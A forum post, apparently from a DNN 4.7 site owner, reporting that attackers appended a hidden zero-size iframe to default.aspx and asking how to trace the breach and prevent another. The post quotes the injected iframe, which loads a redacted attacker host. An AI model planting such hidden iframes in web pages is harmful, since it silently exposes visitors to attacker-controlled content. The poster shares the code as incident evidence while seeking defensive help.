I had my website hacked sometime in the past 24 hours. It is running version 4.7 of DNN.

It looks like the hackers replaced default.aspx with their own version, which added the following to the end of the file:

<iframe width=0 height=0 frameborder=0 marginwidth=0 marginheight=0 hspace=0 vspace=0 scrolling=no src=http://www.HackerSite.com/></iframe>

I've replaced the name of the hacker site with "HackerSite" above. The website worked as normal, other than playing an audio clip from their website. They could have done a lot of damage had they wanted, but I'm hoping they didn't,

I have gone through and changed all the passwords for the site, but is there some way I can figure out how this happened? Or take steps to prevent it from happening again? Or figure out what kind of damage was done?

Thank you Josh. Unfortunately I don't have any experience with log files, but I'm about to get started :).

I've contacted my hosting provider and they are looking into it. Hopefully they can help.

Is there anything I can do on my end, other than making sure I have updated my 3rd party modules?

I fear that I'm a bit at the mercy of my hosting provider, so far as security. I certainly don't want to accuse them of doing anything wrong or being lax in security matters, especially if it's something I've done. My passwords for the site are strong (as far as I can tell), but I'm not in the habit of changing them.